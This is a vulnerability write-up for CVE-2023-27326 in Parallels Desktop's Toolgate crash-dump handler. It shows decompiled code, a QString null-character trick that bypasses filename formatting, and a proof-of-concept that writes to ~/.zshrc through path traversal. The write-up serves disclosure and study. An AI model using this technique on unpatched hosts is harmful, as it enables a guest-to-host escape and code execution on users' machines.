Alexandre Adamski
Directory Traversal Arbitrary File Write Vulnerability
This vulnerability allows local attackers to write arbitrary files and escalate privileges on affected installations of Parallels Desktop. An attacker must first obtain the ability to execute high-privileged code on the target guest system in order to exploit this vulnerability.
The specific flaw exists within the Toolgate component. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to write arbitrary files and execute code in the context of the current user on the host system.
The vulnerable code path can be reached even if the Isolate from Mac feature is enabled.
Vulnerability Summary
The vulnerable code is located in one of the request handlers of the Parallel Desktop Toolgate component. This request is normally used by the guest to write a crash dump file into the GuestDumps
subfolder of the VM's home directory. The content of this file is fully user-controlled, but its filename is formatted according to the following pattern: <user_input_trunc>.<i>-<j>-<k>-<l>.<date>-<time>.<ext>
.
The vulnerability is twofold:
- First, because there is no checking being done on the
<user_input_trunc>
part of the filename, it is possible to perform a directory traversal, allowing to write a file that is located outside of the intended folder. - Then, because of a subtlety with Qt's
QByteArray
andQString
classes, the formatting of the filename can be skipped altogether (but unfortunately not the truncation of the user-input), resulting in a almost fully user-controlled path.
Finally, this arbitrary file write can be used to overwrite the shell login script and execute arbitrary code as the user.
Vulnerability Details
The vulnerability is in the command handler of the CSHAShellExt
tool for the request TG_REQUEST_VIRTEX_CRASH
(ID 0x8323). All the commands of the CSHAShellExt
tool end up in the function CSHAShellExt::handle_request_inner
(that will be called from a different thread):
uint64_t CSHAShellExt::handle_request_inner(CSHAShellExt *this, request *request) {
// ...
uint32_t inline_size = request->InlineByteCount;
uint32_t *inline_data = get_request_inline_data_inner(request);
// Ensure that there's enough inline data for the header
if (inline_size < 0x10) { /* ... */ }
// Ensure that the version is supported (1, 0)
if (inline_data[0] != 1) { /* ... */ }
// Handle the request by type
switch (request->Request) {
// ...
case TG_REQUEST_VIRTEX_CRASH:
// Ensure that this is the correct operation code (?)
if (inline_data[2] != 4) { /* ... */ }
// Ensure that there's at least 0x200 bytes of inline data
if (inline_size < 0x200) { /* ... */ }
// Call the appriopriate handler
this->virtex_req_crash(request, inline_data, &ret);
goto FINISH_REQUEST;
// ...
}
// ...
}
This function forwards the request to the appropriate handler, as the CSHAShellExt
tool accepts different types of requests. In the case of the TG_REQUEST_VIRTEX_CRASH
request, the corresponding handler is CSHAShellExt::virtex_req_crash
:
void CSHAShellExt::virtex_req_crash(
CSHAShellExt *this,
request *request,
uint32_t *inline_data,
uint32_t *ret_p) {
// ...
// Compute the path where to store the guest dumps files
this->m_CVirtualPC->m_CVmConfiguration->getVmIdentification()->getHomePath(&homepath);
get_file_dir_absolute_path(&homepath_abs, &homepath);
format_guestdumps_path(&guestdumps, &homepath_abs);
// ...
// Get the buffer containing the file data
if (request->BufferCount == 0) { /* ... */ }
buffer0_pages = map_buffer_at_idx_pages_from_guest_inner(request, 0, 0);
if (buffer0_pages == NULL) { /* ... */ }
// ...
// Get the buffer containing the file name
QString pbProcName;
pbProcName_idx = inline_data[0x44];
if (pbProcName_idx == 0)
goto SKIP_PBPROCNAME;
pbProcName_pages = map_buffer_at_idx_pages_from_guest_inner(request, pbProcName_idx, 0);
if (pbProcName_pages == NULL) { /* ... */ }
QByteArray pbProcName_arr;
pbProcName_arr.resize(pbProcName_pages->RequestSize);
read_from_buffer_pages_inner(pbProcName_pages, 0, pbProcName_arr.data(), pbProcName_pages->RequestSize);
pbProcName = QString::fromUtf8(pbProcName_arr);
// ...
SKIP_PBPROCNAME:
// ...
SKIP_PBPROCPATH:
// Handle the subrequest by type
code = inline_data[7];
switch (code) {
// ...
case 1:
// Prepare the guest dumps directory
prepare_guestdumps_dir(&guestdumps);
// ...
// Format the crash dump filename
format_dump_filename(&filename, inline_data, &pbProcName);
// ...
// Build the final path from the directory and filename
QString filepath(guestdumps);
filepath.append(QDir::separator());
filepath.append(filename);
// ...
// Finally, write the crash dump to disk
write_dump_to_disk(buffer0_pages, &filepath);
// ...
break;
// ...
}
// ...
}
This handler starts by retrieving the VM's home path (~/Parallels/<vmname>.pvm
by default) using CVmIdentification::getHomePath
. It gets its absolute path using get_file_dir_absolute_path
and appends /GuestDumps
to it using format_guestdumps_path
to create the final path.
void get_file_dir_absolute_path(QString& abs_path, const QString& path) {
// ...
abs_path = QFileInfo(path).dir().absolutePath();
// ...
}
void format_guestdumps_path(QString& guestdumps, QString& homepath) {
// ...
// Append /GuestDumps to the home path
guestdumps.append(homepath);
guestdumps.append("/");
guestdumps.append("GuestDumps");
// ...
}
The request buffer #0 contains the crash dump data. The request buffer #n (where n
is extracted from the inline data) contains the crash dump filename. The filename is extracted and parsed as an UTF-8 string (more details on that part later).
Finally, the handler extracts another subrequest type from the inline data. If it's 1 ("write crash dump without triggering a crash"), it'll do the following:
- it calls
prepare_guestdumps_dir
that creates the guest dumps directory and removes previous crash dumps; - it calls
format_dump_filename
that appends various integers, the current date/time, and an extension to the filename; - it concatenates the guest dumps directory and formatted crash dump filename (enabling the directory traversal);
- it calls
write_dump_to_disk
to write the crash dump data to the resulting file path.
The code of prepare_guestdumps_dir
, format_dump_filename
and write_dump_to_disk
can be found below for reference:
void prepare_guestdumps_dir(QString &guestdumps) {
// ...
// Create the directory if it doesn't exist
QDir dir(guestdumps);
if (!dir.exists())
dir.mkdir(".");
// Remove all files with the specified extensions
QStringList extensions = { "*.dmp", "*.crash", "*.dump" };
QFileInfoList list = dir.entryInfoList(extensions, 0x10A, 1);
for (int i = 0; i < list.size(); ++i)
QFile::remove(list.at(i).absoluteFilePath());
// ...
}
void format_dump_filename(QString& filename, uint32_t *inline_data, QString& pbProcName) {
// ...
// Append some numbers from the inline data to the filename
filename = pbProcName.mid(0, 20);
filename.append(".");
filename.append(QString::number(inline_data[8], 10));
filename.append("-");
filename.append(QString::number(inline_data[9], 10));
filename.append("-");
filename.append(QString::number(inline_data[0xB], 10));
filename.append("-");
filename.append(QString::number(inline_data[0xA], 10));
// ...
// Append the current date & time to the filename
filename.append(QChar("."));
filename.append(QDateTime::currentDateTime().date().toString());
filename.append(QDateTime::currentDateTime().time().toString("-hhmmss"));
// ...
// Append the VM type to the filename
switch (inline_data[4]) {
case 0:
filename.append(".non");
break;
// ...
}
// ...
// Append the dump type to the filename
switch (inline_data[6]) {
case 3:
filename.append(".dump");
break;
// ...
}
// ...
}
void write_dump_to_disk(pages *buffer0_pages, const QString& filepath) {
// ...
// Open the file for writing
QFile file(filepath);
if (!file.open(2)) { /* ... */ }
// Write the content of the buffer to it
pos = 0;
while (1) {
len = get_remaining_bytes_from_buffer(buffer0_pages, pos, &buf);
if (!len)
break;
pos += len;
file.write(buf, len);
// ...
}
// Close the file
file.close();
// ...
}
At first glance, it appears that the filename won't be fully controlled, as format_dump_filename
will truncate it and then add multiple suffixes to it. But if we provide a pbProcName
buffer where our filename is followed by at least one null byte, the call to QString::fromUtf8
will create a string that ends with at least one null unicode character (as QString
s are not null-terminated). Then, when appending other strings to it, they will go after the null unicode characters. Finally, when it will be passed to QFile::QFile
, only the characters up to the first null one will be used. Thus, we have full control of the filename, except for the maximum length of 19 characters (because of the truncation to 20 characters, minus one for the null byte).
This behavior is highlighted by the following test code and its output.
#include <QDebug>
#include <QString>
int main(int argc, char *argv[]) {
char buf[10];
memset(buf, 0, sizeof(buf));
strcpy(buf, "Hello");
QString str = QString::fromUtf8(buf, sizeof(buf));
qInfo() << str;
str.append(" World");
qInfo() << str;
printf("%s\n", str.toStdString().c_str());
}
"Hello\u0000\u0000\u0000\u0000\u0000"
"Hello\u0000\u0000\u0000\u0000\u0000 World"
Hello
As can be seen above, the initial QString
contains null unicode characters, one for each of the null bytes of the buffer it was created from. The second string is then appended after the null unicode characters. Finally, when the resulting QString
is converted into a regular C string, the null unicode characters are converted into null bytes, and thus the output of the printf
call doesn't include the second part of the string.
Exploitation
This vulnerability can be used to overwrite files in the user's home directory with arbitrary content. In our exploit, we decided to target the shell configuration file ~/.zshrc
and overwrite its contents with a simple open /System/Applications/Calculator.app
. This will result in the Calculator app opening each time the user opens a new terminal window/tab. Another interesting target could have been the VM's configuration file config.pvs
, located in its home path, to try to enable the Shared folders feature and gain access to the whole host file system.
Basically, our exploit comes down to making the following request:
void exploit(void) {
char inln[0x200];
char *CR = kzalloc(0x1000, GFP_KERNEL);
char *pbProcName = kzalloc(0x1000, GFP_KERNEL);
memset(inln, 0, sizeof(inln));
*(uint32_t *)(inln + 0) = 1;
*(uint32_t *)(inln + 8) = 4;
*(uint32_t *)(inln + 0x1c) = 1;
*(uint32_t *)(inln + 0x110) = 1;
strcpy(CR, "open /System/Applications/Calculator.app\n");
strcpy(pbProcName, "../../../.zshrc");
twobuf_req(0x8323, inln, 0x200, CR, strlen(CR), pbProcName, strlen(pbProcName)+1, 0);
//kfree(CR);
//kfree(pbProcName);
}
The full exploit code can be found on our GitHub repository.
Patch
This vulnerability was assigned CVE-2023-27326 and patched in the 18.1.1 (53328) security update of Parallels Desktop.
Timeline
- Sep. 19, 2022 - Case opened on the ZDI researcher portal.
- Sep. 20, 2022 - Case assigned on the ZDI researcher portal.
- Oct. 10, 2022 - Case investigated on the ZDI researcher portal.
- Nov. 03, 2022 - Case reviewed and disclosure to the vendor.
- Dec. 13, 2022 - The vulnerability is fixed in the 18.1.1 update.
- Mar, 7, 2023 - The advisory is published on the ZDI website.